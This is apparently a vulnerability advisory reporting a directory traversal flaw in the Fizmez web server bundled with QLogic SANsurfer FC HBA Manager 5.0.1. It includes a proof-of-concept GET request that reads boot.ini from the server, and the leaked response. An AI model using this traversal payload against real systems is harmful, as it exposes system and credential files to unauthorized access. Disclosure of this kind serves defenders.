QLogic SANsurfer FC HBA Manager 5.0.1 build 31 Directory Traversal vulnerability

QLogic SANsurfer Fibre Channel (FC) Host Bus Adapter (HBA) Manager uses Fizmez Web Server for the web server component. Fizmez Web Server is vulnerable to directory traversal. The web server is not enabled by default.

Software

Software Link: http://qlogic.com/

Vulnerable Version: 5.0.1 build 31

Vendor Notification: Unnotified

Vulnerabilities

The following proof of concept is available:

GET /../../../boot.ini HTTP/1.0

HTTP/1.0 200 OK
Server: Fizmez/1.2+ (Java)
Content-Type: text/plain

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

QLogic SANsurfer FC HBA Manager 5.0.1 build 31 Directory Traversal vulnerability

Reference

# OWASP: Path Traversal

Appendix

[TXT] QLogic SANsurfer FC HBA Manager 5.0.1 build 31 Directory Traversal vulnerability